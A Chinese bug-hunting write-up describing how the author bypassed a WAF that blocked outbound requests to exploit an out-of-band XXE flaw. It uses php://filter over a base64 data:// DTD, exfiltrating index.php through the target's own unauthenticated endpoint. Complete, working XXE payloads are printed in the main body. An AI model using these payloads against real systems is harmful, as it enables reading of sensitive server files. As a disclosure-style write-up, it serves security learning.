几个星期以前,作者在某个OOB-XXE漏洞测试中遇到过这样一种场景:目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求(Outgoing Request),但最终,通过利用php://filter//的封装协议,作者成功实现了OOB-XXE漏洞测试。以下是其分享:

在对目标应用的测试分析时,我偶然发现了其中一个路径调用了一个名为xml的参数,但其对应的XML数据值是加密的。之后,我发现该xml参数的XML数据在发送到HTTP请求前仅在客户端实行了加密,也就是说,其应用后端可能未设置对这些XML数据进行必要验证的措施,这样,我就想到能否修改这些XML数据以便注入XXE Payload。

接下来,首先我要找到加密XML数据的JavaScript函数,但却发现目标应用的JavaScript全被静态模块打包器WebPack打包且非常不具可读性和跟踪分析性。所以,要找到JavaScript加密函数是件麻烦事,之后,我想到了在Chrome浏览器工具中设置断点,在XML数据发送到JavaScript加密函数前对它进行修改。

这样一来,我就可以在其中加入外部实体(external entity)进行XML数据构造了,但当我把构造好的XML Payload发送后,目标应用好长时间才有响应”Error while parsing XML”。但当我把其中的外部实体(external entity)修改为 `http://localhost/` 后,目标应用却能及时无误的响应。这种情况,我认为目标应用环境中可能部署有WAF防火墙,它会把一些出站请求拒绝掉。之后,我又尝试了端口和DNS解析请求,但都没成功。

也就是说,现在我面前存在一个XXE漏洞,但是却无能为力。一般来说可能通过探测目标应用内网环境中开放的端口来实现XXE利用,但其WAF防火墙却阻挡了所有出站请求。由于其WAF防火墙未阻止本机用为外部实体,所以,我想找到目标应用公开具备的,不需cookie验证且使用GET参数的路径来实现对某些数据的更改或添加。而这也和目标应用的工作机制非常相符,因为它好多路径并未采用cookie验证和用户ID参数的形式来验证身份。

考虑到这一点,我就开始认真分析查找,最后聚集于一个路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,它会调用三个参数:sid、key和val,并把key和val保存到相应的会话ID账户中,而且我们通过访问该路径就可以获取这三个参数值。

所以,现在我就想构造一个向路径http://target/endpoint.php?sid=[session_id]&key=xxe&val=test发送GET请求的外部实体,之后看看该路径下的xxe和test值是否已经会发生添加更改,因此,我构造的XXE Payload如下,并把它执行了发送:

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">

]>

<paramlimits>

<component name="L1" min="2" max="100">&xxe;</component>

</paramlimits>

之后,当我来到 http://target/endpoint.php?sid=[session_id] 下,我发现sid值已经被添加更改,也就是说,目标应用服务器能正常获取上述实体,并会向提供的路径发送GET请求。如下:

现在思路就慢慢清晰了,至少可以证明其XXE漏洞是存在的,我想深入利用看看能否可读取到目标应用的一些本地文件。要读取本地文件,我们需要创建一个获取文件的参数实体,以及另一个调用该参数实体的实体,为此,我用到了外部文档类型定义(DTD)文件的调用,但问题还是一样,被WAF防火墙阻挡了出站的调用请求,部署在我服务器上的DTD文件不能被正常调用。

这样来说,还是防火墙在作怪,如何来绕过它呢?我想能否存在一种允许文件上传的路径,这样我就能上传我的构造DTD文件,但是,目标应用却根本没任何文件上传功能。一番倒腾之后,我差点放弃了,但是我想到目标应用是PHP架构的,那我想应该可以用php://封装协议的封装器去获取 data:// URI中的资源吧,这样不就能调用到我的DTD文件了吗?

所以,可以定义这样一种参数实体:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">

<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>

然后把上述参数实体经base64编码后,利用php://封装协议来请求它,如下:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

当目标应用的XML解析器执行解析时,它会执行以下两个路径的实体解析:

php://filter/convert.base64-encode/resource=file:///D:/path/index.php

http://target/endpoint.php?sid=[session_id]&#38;key=xxe&val=%data;

其中的convert.base64-encode是为了能对 index.php 文件内容更方便的获取。所以最终的XXE Payload为:

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;

]>

<paramlimits>

<component name="L1" min="2" max="100">&exfil;</component>

</paramlimits>

提交发送之后,来到目标路径http://target/endpoint.php?sid=[session_id]下,可以发现经base64编码的index.php文件内容被成功获取:

当然,深入利用之后就能用这种方法来读取一些敏感的本地文件了。

挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用的更多相关文章

  1. [转帖]挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息

    挖洞经验 | 获取Facebook Marketplace卖家精确地理位置信息 https://www.freebuf.com/vuls/202820.html 知识就是力量 5000刀的一个漏洞. ...

  2. 转:Google Project Zero挖洞经验整理

    https://www.sec-un.org/google-project-zero%E6%8C%96%E6%B4%9E%E7%BB%8F%E9%AA%8C%E6%95%B4%E7%90%86/ 1. ...

  3. 【挖洞经验】如何在一条UPDATE查询中实现SQL注入

    直奔主题 跟往常一样,在喝完我最爱的果汁饮料之后,我会习惯性地登录我的Synack账号,然后选择一个应用来进行渗透测试,此时我的“黑客之夜”便正式开始了. 我与很多其他的安全研究人员的习惯一样,我会在 ...

  4. 2019-11-19:xxe漏洞利用,笔记

    xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据 ...

  5. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

  6. Windows 漏洞利用开发

    第一阶段:简单栈溢出 分析栈溢出原理 寻找溢出点,了解pattern_create和pattern_offset计算溢出点的原理 寻找JMP ESP跳板,分析利用JMP ESP跳板劫持程序流的原理 编 ...

  7. ms10_046_shortcut_icon_dllloader漏洞利用和ettercap dns欺骗

    ms10_046_shortcut_icon_dllloader漏洞利用过程 msf > use exploit/windows/browser/ms10_046_shortcut_icon_d ...

  8. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  9. 绕过WAF进行常见Web漏洞利用

    前言 本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法. PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任 PPS:本 ...

随机推荐

  1. CSV文件自动化(自定义参数)

    说明: CSV 文件:cmd_list1.csv testcase:对应test case id function:对应test case的标题 interfacenotes:对应bsp节点名称 cm ...

  2. SSM日常报错

    mybatis配置时出现org.apache.ibatis.binding.BindingException: Invalid bound statement (not found) 解决方法: po ...

  3. 法兰克因恶意软件感染而关闭了整个IT网络

    导读 现在,越来越多的黑客组织将目标对准大型企业和政府机构.对于黑客而言,这比感染家庭用户具有更高的潜在利益.由于勒索软件的攻击,许多市政网络已被暂时关闭,而这次法兰克福遇到了恶意软件. 法兰克福是世 ...

  4. Codeforces 599D:Spongebob and Squares

    D. Spongebob and Squares time limit per test 2 seconds memory limit per test 256 megabytes input sta ...

  5. macOS 微信多开插件

    macOS版本微信默认只能开一个,安装 WeChatTweak-macOS 插件即可实现多开. 效果图 安装步骤打开终端输入一下命令: git clone https://github.com/Sun ...

  6. Spring Schedule 实现定时任务

    很多时候我们都需要为系统建立一个定时任务来帮我们做一些事情,SpringBoot 已经帮我们实现好了一个,我们只需要直接使用即可,当然你也可以不用 SpringBoot 自带的定时任务,整合 Quar ...

  7. C#中集合接口关系笔记

    IEnumerable IEnumerable接口是所有集合类型的祖宗接口,其作用相当于Object类型之于其它类型.如果某个类型实现了IEnumerable接口,就意味着它可以被迭代访问,也就可以称 ...

  8. PaperReading20200224

    CanChen ggchen@mail.ustc.edu.cn   BANANAS Motivation: This paper proposes a network performance pred ...

  9. 每日算法 - day 15

    每日算法 those times when you get up early and you work hard; those times when you stay up late and you ...

  10. 远程服务器使用tensorboard

    1 .由于服务器上tensorboard使用的端口是6006,因此,连接ssh时,将服务器的6006端口重定向到自己机器上的16006端口: ssh -L 16006:127.0.0.1:6006 u ...